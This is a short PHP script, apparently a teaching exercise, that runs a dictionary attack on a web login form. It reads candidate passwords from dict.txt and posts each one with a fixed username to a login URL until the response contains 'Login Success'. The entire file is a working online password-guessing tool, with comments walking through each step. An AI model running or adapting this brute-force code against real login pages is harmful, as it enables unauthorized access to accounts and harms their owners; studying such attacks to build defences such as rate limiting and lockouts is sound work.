<?php
    //This script sends POST request to the URL and in the returned response HTML, this checks if Login Success is present. Also, this reads from dict.txt
    
    //Let us first read the dict.txt and stores the values in an array.
    
    //Read dict.txt and store the contents in an array
    $passwords = file("dict.txt");
    //Trim the final newline character
    for ($i=0; $i<count($passwords); $i++) { $passwords[$i] = trim($passwords[$i]); }
    //At this point, our $passwords array is populated with the dictionary.
    
    $action_login_url = "http://sp2hari.com/work/dict/login.php";
    $user = "cs10528";
    
    //Init curl and set all curl options.
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $action_login_url);
    curl_setopt($ch, CURLOPT_HEADER, false);
    curl_setopt($ch, CURLOPT_NOPROGRESS, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_MUTE, true);
    for ($i=0; $i<count($passwords); $i++) {
        $password = $passwords[$i];
        curl_setopt($ch, CURLOPT_POSTFIELDS, "imapuser=".$user."&pass=".$password."&loginButton=Log+in");
        $html = curl_exec($ch);
        //$html has the HTML content returned from the server.
        //Now we will search for "Login Success" in the HTML content.
        if (strstr($html,  "Login Success")) {
            echo $password." --> Success\n";
            break;
        }
        else {
            echo $password." --> Failed\n";
        }
        echo "<br/>";
    }
    curl_close($ch);
?>